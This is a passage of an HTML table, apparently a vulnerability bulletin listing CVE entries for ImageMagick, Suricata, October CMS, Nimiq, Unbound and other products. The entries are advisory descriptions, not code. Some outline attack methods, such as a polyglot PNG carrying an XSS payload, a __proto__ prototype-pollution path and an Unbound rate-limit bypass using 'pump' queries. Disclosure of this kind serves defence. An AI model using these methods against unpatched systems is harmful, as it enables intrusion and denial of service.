&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11545&quot; target=&quot;_blank&quot;&gt;CVE-2026-11545&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0, and 8.5 is affected by an authorization bypass vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16190&quot; target=&quot;_blank&quot;&gt;CVE-2026-16190&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ILIAS--ILIAS&lt;/td&gt;
&lt;td&gt;An issue was discovered in ILIAS 6.23, 7 before 7.22, and 8.1. An attacker can execute arbitrary code via ZIP upload.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-32778&quot; target=&quot;_blank&quot;&gt;CVE-2023-32778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ImageMagick--ImageMagick&lt;/td&gt;
&lt;td&gt;ImageMagick before 7.1.2-31 and before 6.9.13-56 contains a policy bypass in the PCD (and, per the upstream advisory, CUBE and HALD) coder: when a specific command line option is supplied, the decoder does not check a configured resource limit, which can result in extra memory allocation. A local user able to pass command line options to ImageMagick can therefore exceed the intended memory policy limit, causing a limited availability impact. The issue is fixed in 7.1.2-31 and 6.9.13-56.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93587&quot; target=&quot;_blank&quot;&gt;CVE-2026-93587&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ImageMagick--ImageMagick&lt;/td&gt;
&lt;td&gt;ImageMagick before 7.1.2-31 and before 6.9.13-56 contains a NULL pointer dereference in the PNM coder. When the coder reaches a memory (resource) limit at a specific point during processing, the failed allocation is not handled and a NULL pointer is dereferenced, which can lead to a denial of service (application crash) when processing a specially crafted or sufficiently large PNM image.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93588&quot; target=&quot;_blank&quot;&gt;CVE-2026-93588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ImageMagick--ImageMagick&lt;/td&gt;
&lt;td&gt;ImageMagick before 7.1.2-31 and 6.9.13-56 contains a division-by-zero flaw in the FLIF encoder. An incorrect value for ticks per second in the image being encoded causes a divide-by-zero and crashes the encoder, resulting in a denial of service. The issue is fixed in 7.1.2-31 and 6.9.13-56.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93589&quot; target=&quot;_blank&quot;&gt;CVE-2026-93589&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ImageMagick--ImageMagick&lt;/td&gt;
&lt;td&gt;ImageMagick before 7.1.2-31 contains a policy bypass vulnerability in the UHDR encoder that fails to perform policy checks during buffer allocation for image pixels. Attackers can bypass resource policies by processing specially crafted UHDR images, potentially causing denial of service through excessive memory allocation.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93590&quot; target=&quot;_blank&quot;&gt;CVE-2026-93590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ImageMagick--ImageMagick&lt;/td&gt;
&lt;td&gt;ImageMagick before 7.1.2-31 and before 6.9.13-56 contains a use-after-free vulnerability in the ImagesToBlob method, caused by a pointer that is not updated correctly. Exploitation may result in a limited availability impact (e.g., a crash of the affected process). The issue is fixed in versions 7.1.2-31 and 6.9.13-56.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93586&quot; target=&quot;_blank&quot;&gt;CVE-2026-93586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;junrar--junrar&lt;/td&gt;
&lt;td&gt;Junrar is an open source Java RAR archive library. Prior to version 7.6.1, LocalFolderExtractor in src/main/java/com/github/junrar/LocalFolderExtractor.java can create directories outside the intended extraction root when processing a crafted archive entry. LocalFolderExtractor.createFile() validates only the final canonical file path, while LocalFolderExtractor.makeFile() creates intermediate path segments with unchecked mkdir() calls. An entry can therefore make the final path resolve inside the destination while causing intermediate directory creation outside it, enabling filesystem pollution or file-versus-directory squatting that can make later security-sensitive writes fail. The demonstrated impact is directory creation, not unconditional arbitrary file-content write. This issue is fixed in version 7.6.1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86071&quot; target=&quot;_blank&quot;&gt;CVE-2026-86071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libarchive--libarchive&lt;/td&gt;
&lt;td&gt;libarchive 3.8.x before 3.8.2 has a strcpy heap-based buffer overflow in the gzip writer via the original-filename field to archive_compressor_gzip_open in archive_write_add_filter_gzip.c, aka GHSA-92wx-p669-8gr9. This relates to bsdtar. Exploitation envisions a marginally plausible scenario in which original-filename is obtained from an untrusted party. (original-filename is not derived from the input data.)&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-64031&quot; target=&quot;_blank&quot;&gt;CVE-2025-64031&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mariadb-corporation--mariadb-connector-j&lt;/td&gt;
&lt;td&gt;MariaDB Connector/J is used to connect applications developed in Java to MariaDB and MySQL databases. Prior to 2.7.14, 3.3.5, 3.4.3, and 3.5.9, ClientMessage.readPacket processes a server-initiated LOCAL INFILE protocol packet 0xfb without enforcing allowLocalInfile=false. When an application sends a LOAD DATA LOCAL INFILE COM_QUERY, a rogue or man-in-the-middle server can echo the same filename and cause the connector to transmit that file despite the disabled option. The server cannot redirect the request to an arbitrary path and can receive only the exact file already selected by the application, so exploitation requires an application that actively loads sensitive data over an untrusted connection. This issue is fixed in versions 2.7.14, 3.3.5, 3.4.3, and 3.5.9.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61700&quot; target=&quot;_blank&quot;&gt;CVE-2026-61700&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost Desktop App versions &amp;lt;=6.2 6.2.2.0 fails to validate the IPC sender in the leaveCall handler which allows a malicious or compromised Mattermost server (or a user with script access to a connected server view) to disconnect an active call belonging to a different connected server via the desktopAPI.leaveCall IPC message. Mattermost Advisory ID: MMSA-2026-00699&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;3.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12284&quot; target=&quot;_blank&quot;&gt;CVE-2026-12284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost Desktop App versions &amp;lt;=6.2 6.2.2.0 fail to validate the URL scheme when checking whether a target URL is internal to the connected server, which allows a network-positioned attacker to load a plugin popout window over an insecure connection via a link using a downgraded URL scheme. Mattermost Advisory ID: MMSA-2026-00717&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;2.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75588&quot; target=&quot;_blank&quot;&gt;CVE-2026-75588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Matthias-Wandel--jhead&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Matthias-Wandel jhead up to 3.3. This affects the function Get16u of the file exif.c of the component EXIF Parsing. This manipulation causes out-of-bounds read. The attack requires local access. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90681&quot; target=&quot;_blank&quot;&gt;CVE-2026-90681&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MediaWiki--CheckUser&lt;/td&gt;
&lt;td&gt;An issue was discovered in the CheckUser extension for MediaWiki through 1.39.3. Special:CheckUserLog shows usernames that have been hidden.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-37252&quot; target=&quot;_blank&quot;&gt;CVE-2023-37252&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MediaWiki--ProofreadPage&lt;/td&gt;
&lt;td&gt;An issue was discovered in the ProofreadPage extension for MediaWiki through 1.39.3. It leaks information about a suppressed user via the API and config variables.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-37253&quot; target=&quot;_blank&quot;&gt;CVE-2023-37253&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;michaelliao--itranswarp&lt;/td&gt;
&lt;td&gt;A flaw has been found in michaelliao itranswarp up to 2.19. The impacted element is the function Markdown.toHtml of the file Markdown.java of the component Page Content Rendering. This manipulation causes cross site scripting. The attack may be initiated remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet. This vulnerability only affects products that are no longer supported by the maintainer.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90835&quot; target=&quot;_blank&quot;&gt;CVE-2026-90835&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--C Driver&lt;/td&gt;
&lt;td&gt;A flaw in libmongoc&#039;s SCRAM authentication implementation caused the client to continue the authentication handshake and transmit the client proof even when a nonce mismatch was detected in the server&#039;s first message. An unauthorized party with a man-in-the-middle position could exploit this by injecting a crafted server-first-message containing a controlled salt and low iteration count, then capturing the resulting client proof to perform offline password cracking. This vulnerability is mitigated by TLS, which is standard in production deployments.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93394&quot; target=&quot;_blank&quot;&gt;CVE-2026-93394&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nagios--Nagios XI&lt;/td&gt;
&lt;td&gt;An issue was discovered in twilio_ajax_handler.php in Nagios XI before 5.9.3. An attacker can force a user to visit a malicious site by using a open redirect vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-24034&quot; target=&quot;_blank&quot;&gt;CVE-2023-24034&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nagios--Nagios XI&lt;/td&gt;
&lt;td&gt;An issue was discovered in Nagios XI before 5.9.3. The is_insecure_login_authenticated function uses a insecure timing comparison that leads to an attacker being able to bruteforce the admin password, by measuring timing differences in the comparison.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-24035&quot; target=&quot;_blank&quot;&gt;CVE-2023-24035&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nanomq--nanomq&lt;/td&gt;
&lt;td&gt;NanoMQ is an MQTT broker. Prior to 0.24.14, NanoMQ&#039;s MQTT v5 property decoder in nng/src/supplemental/mqtt/mqtt_codec.c uses property_append() to walk the entire linked list for each property added by decode_buf_properties(). A remote unauthenticated client can supply a PUBLISH or SUBSCRIBE packet containing many User Properties, causing O(NÂ²) linked-list insertion and CPU work that makes the broker unresponsive; repeated packets can sustain the denial of service. This issue is fixed in version 0.24.14.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44639&quot; target=&quot;_blank&quot;&gt;CVE-2026-44639&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nanomq--nanomq&lt;/td&gt;
&lt;td&gt;NanoMQ is an MQTT broker. Prior to 0.24.14, the NanoMQ client function nni_mqtt_msg_decode_unsubscribe() in nng/src/supplemental/mqtt/mqtt_codec.c does not handle a failed read_uint16() while counting topics in a malformed UNSUBSCRIBE packet. A zero-length topic followed by trailing data can leave buf.curpos unchanged while topic_count continues to increase, allowing a malicious MQTT broker to hang a connecting MQTT 3.1.1 client, consume CPU and memory, and repeatedly deny service when automatic reconnection is enabled. The broker-side nmq_unsubinfo_decode path is not affected. This issue is fixed in version 0.24.14.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61633&quot; target=&quot;_blank&quot;&gt;CVE-2026-61633&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;newbee-ltd--newbee-mall&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in newbee-ltd newbee-mall up to 1.0.0. Impacted is an unknown function of the file controller/common/UploadController.java of the component Goods Save Endpoint. Performing a manipulation of the argument goodsName results in cross site scripting. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. ImageIO.read() is a format-agnostic read - it returns non-null for a polyglot PNG|&amp;lt;img onerror&amp;gt; payload, which is exactly why the &quot;image-only&quot; guard is bypassable; the attacker-controlled suffix + /upload/** static mapping is what turns the upload into persisted XSS rather than a one-shot. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94045&quot; target=&quot;_blank&quot;&gt;CVE-2026-94045&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nimiq--core-rs-albatross&lt;/td&gt;
&lt;td&gt;Nimiq is a Rust implementation of the Nimiq Proof-of-Stake protocol based on the Albatross consensus algorithm. Prior to 1.6.0, a malicious state-sync peer can crash a syncing node by sending a crafted TrieChunk proof containing two TrieProofNode values with identical keys. TrieProof::verify calls TrieProofNode::child_index in primitives/src/trie/trie_proof_node.rs, where is_prefix_of accepts equal keys and KeyNibbles::get is called at the key length, returns None, and is unconditionally unwrapped. Untrusted ResponseChunk data reaches commit_chunks, put_chunk, and proof.verify before cryptographic proof validation, so the attacker does not need a valid proof. Exploitation requires the attacker to be selected as the victim&#039;s sync peer during state sync, and the resulting panic is transient because the node restarts and resynchronizes. This issue is fixed in version 1.6.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54541&quot; target=&quot;_blank&quot;&gt;CVE-2026-54541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nimiq--core-rs-albatross&lt;/td&gt;
&lt;td&gt;Nimiq is a Rust implementation of the Nimiq Proof-of-Stake protocol based on the Albatross consensus algorithm. Prior to 1.6.0, a malicious state-sync peer can crash a syncing node by sending a crafted TrieChunk whose proof contains a TrieNodeChild suffix that is individually valid but exceeds the 63-byte KeyNibbles backing array when combined with the parent key. KeyNibbles::Add in primitives/src/key_nibbles.rs performs the combined slice operation without checking the total length, and the input reaches put_chunk, TrieNodeChild::key, and TrieNodeChild::is_stump before proof.verify, so the attacker does not need a valid cryptographic proof. Exploitation requires the attacker to be selected as the victim&#039;s sync peer during state sync. The resulting out-of-bounds panic is transient because the node restarts and resynchronizes. This issue is fixed in version 1.6.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54542&quot; target=&quot;_blank&quot;&gt;CVE-2026-54542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NLnet Labs--Unbound&lt;/td&gt;
&lt;td&gt;In NLnetLabs Unbound 1.20.0 up to and including 1.26.0, a vulnerability on the &#039;serve-expired&#039; code path can cause a double decrement on the &#039;wait-limit&#039; counter per client IP essentially bypassing one of the counter measures that was introduced for DNSBomb (CVE-2024-33655). A malicious actor can exploit this by controlling an authoritative zone with short TTL, so cached entries expire quickly. Each &#039;slow&#039; query, one the attacker&#039;s authoritative never answers, is followed by one query for an expired cached name, which is answered immediately via the &#039;serve-expired&#039; path and decrements the counter twice. This second query was named &#039;pump&#039;. By alternating slow queries and pumps, the attacker keeps the per-client counter at or below the configured &#039;wait-limit&#039; indefinitely, and can hold an arbitrary number of pending queries from a single source IP, up to the global mesh quota (num-queries-per-thread); eventually bypassing one of the counter measures introduced for DNSBomb (CVE-2024-33655). This vulnerability is present on the &#039;serve-expired&#039; code path.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77860&quot; target=&quot;_blank&quot;&gt;CVE-2026-77860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;node-opcua--node-opcua&lt;/td&gt;
&lt;td&gt;node-opcua is an OPC UA implementation for TypeScript and Node.js. Prior to node-opcua-client 2.145.0, the internal fieldsToJson method in packages/node-opcua-client/source/alarms_and_conditions/client_alarm.ts directly assigns unsanitized field names and allows a __proto__.pollutedKey path to modify Object.prototype. Successful exploitation requires an application to expose attacker-controlled event fields to fieldsToJson and may cause denial of service or application logic corruption. This vulnerability is fixed in 2.145.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69200&quot; target=&quot;_blank&quot;&gt;CVE-2026-69200&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;octobercms--october&lt;/td&gt;
&lt;td&gt;October System provides the system module for October Content Management System. Prior to versions 3.7.17 and 4.2.21, the backend `SessionMaker` trait stored widget session state as `base64(serialize(...))` and consumed it with `unserialize()` without an `allowed_classes` restriction. Any code path that could write to a `widget.*` session key with attacker-controlled bytes could trigger PHP object injection the next time the widget read its session state, allowing instantiation of arbitrary classes and reachable PHP gadget chains. This issue only affects installations running with `cms.safe_mode` enabled. Safe Mode is a niche opt-in feature, primarily used for demo installations and multi-tenant or shared-editor scenarios where untrusted users are deliberately granted access to the CMS markup editor. In standard production deployments Safe Mode is off, backend access is restricted to trusted administrators, and a markup editor can already execute arbitrary PHP directly. The session-write path that reaches this sink is gated by the Safe Mode sandbox, so installations without Safe Mode enabled are not exposed. Scope of impact is narrow even with Safe Mode enabled. The standard backend code paths that populate widget session state (search terms, sort options, selected IDs, filter values) wrap the input inside a known array shape before serializing, so user-supplied values never reach `unserialize()` as a controllable serialized payload. Exploitation requires the Safe Mode session-write path together with a suitable PHP gadget chain reachable from the installed dependency set. The hardening below removes the underlying object-injection sink so the class of issue is closed off regardless. The vulnerability has been patched in v3.7.17 and v4.2.21. Two changes were applied. `Backend\Traits\SessionMaker` now stores widget session state as plain JSON instead of `base64(serialize(...))`, eliminating the object-injection sink entirely for new writes. Reads transparently fall back to the legacy format for one upgrade cycle so existing sessions retain their saved widget state. The legacy `unserialize()` fallback path now sets `allowed_classes =&amp;gt; false`, so even values written before the upgrade cannot instantiate objects. As a workaround, restrict CMS markup editing access to fully trusted administrators only, the standard October CMS recommendation for any deployment.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49400&quot; target=&quot;_blank&quot;&gt;CVE-2026-49400&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;octobercms--system&lt;/td&gt;
&lt;td&gt;October System provides the system module for October Content Management System. Versions prior to 3.7.17 and 4.2.21 have a vulnerability in the Twig sandbox security policy that allowed a chained bypass when `cms.safe_mode` is enabled. The Laravel session store was exposed to Twig with unrestricted method access, and raw SQL methods reachable through Eloquent&#039;s `__call` forwarding were not blocked across the full builder chain. When combined, a backend user with CMS markup editing access could read arbitrary database values via raw SQL expressions and write to the backend authentication session key, forging a backend session as another existing user. The scope of impact is narrow. Safe Mode is a niche feature, primarily used for demo installations and multi-tenant or shared-editor scenarios where untrusted users are deliberately granted access to the CMS markup editor. Standard production deployments do not enable Safe Mode, because under normal October CMS guidance backend access - including markup editing - is restricted to trusted administrators, and direct PHP injection through markup is already possible without Safe Mode in that configuration. This issue only affects sites that meet all of the following conditions: `cms.safe_mode` is enabled (a deliberate opt-in for demos or untrusted-editor scenarios; the site has at least one backend user with CMS markup editing access who is not intended to be trusted as a full administrator; and the site has at least one existing superuser account whose session the lower-privileged user can impersonate. The vulnerability has been patched in v3.7.17 and v4.2.21. The Laravel session store is now wrapped in a proxy that exposes only an explicit subset of read/write methods and rejects writes to reserved session key prefixes (`admin_auth`, `october_auth`, `login_*`, `_token`, and other framework internals). Raw SQL and subquery methods (`selectRaw`, `whereRaw`, `orderByRaw`, `joinSub`, and related) are now blocked on `Query\Builder`, `Eloquent\Builder`, and `Eloquent\Model` so the blocklist is consistent across the `__call` forwarding chain. All sites that enable `cms.safe_mode` are encouraged to upgrade to the latest patched version. A workaround is available. Restrict CMS markup editing access to fully trusted administrators only - the standard October CMS recommendation for any deployment. Note that disabling `cms.safe_mode` is not a workaround; Safe Mode is the boundary this issue affects, and disabling it removes the only sandbox between markup editors and the server.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-46696&quot; target=&quot;_blank&quot;&gt;CVE-2026-46696&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. From 8.0.0 until 8.0.6, src/datasets-context-json.c assumes that a configured JSON or NDJSON dataset value_key resolves to a string. A trusted or untrusted dataset or rule feed containing a non-string value for that key can cause a NULL pointer dereference during startup, configuration test mode, or rule reload, crashing Suricata before traffic processing. This issue is fixed in version 8.0.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57225&quot; target=&quot;_blank&quot;&gt;CVE-2026-57225&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to 7.0.17 and 8.0.6, HTTP SWF decompression with the non-default swf-decompression feature and an unsafe decompress-depth can use the configured depth when allocating in src/util-file-decompression.c instead of limiting the allocation to the Flash file&#039;s actual data requirement. A crafted SWF response can therefore trigger an integer-related heap buffer overflow and crash Suricata; the default disabled feature and default depth are not affected. This issue is fixed in versions 8.0.6 and 7.0.17.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57226&quot; target=&quot;_blank&quot;&gt;CVE-2026-57226&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. From 8.0.0 until 8.0.6, the SIP parser in rust/src/sip/parser.rs stores request and response body lengths in 16-bit fields. A SIP body larger than 65,536 bytes can truncate the length and prevent frame:request.body or frame:response.body from exposing the complete body to inspection, allowing content in the omitted portion to evade frame-based detection. This issue is fixed in version 8.0.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63449&quot; target=&quot;_blank&quot;&gt;CVE-2026-63449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to 8.0.6, the FTP parser in src/app-layer-ftp.c treats a RETR or STOR command sent before PORT or PASV negotiation as a fatal application-layer error instead of a recoverable protocol event. The fatal state disables FTP application-layer parsing for the remainder of the TCP flow, so later commands can evade parser-dependent rules and logging; IPS mode instead drops the flow. This issue is fixed in version 8.0.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63450&quot; target=&quot;_blank&quot;&gt;CVE-2026-63450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. From 8.0.0 until 8.0.6, a locally supplied detection rule that combines frame inspection without content and a transformed match without content can make src/detect-engine-prefilter.c select multiple non-prefilter frame engines while preparing signatures for non-prefilter inspection. Loading the crafted rule, including in test mode, can trigger a heap buffer overflow and crash Suricata; network traffic alone cannot reach the flaw. This issue is fixed in version 8.0.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63451&quot; target=&quot;_blank&quot;&gt;CVE-2026-63451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
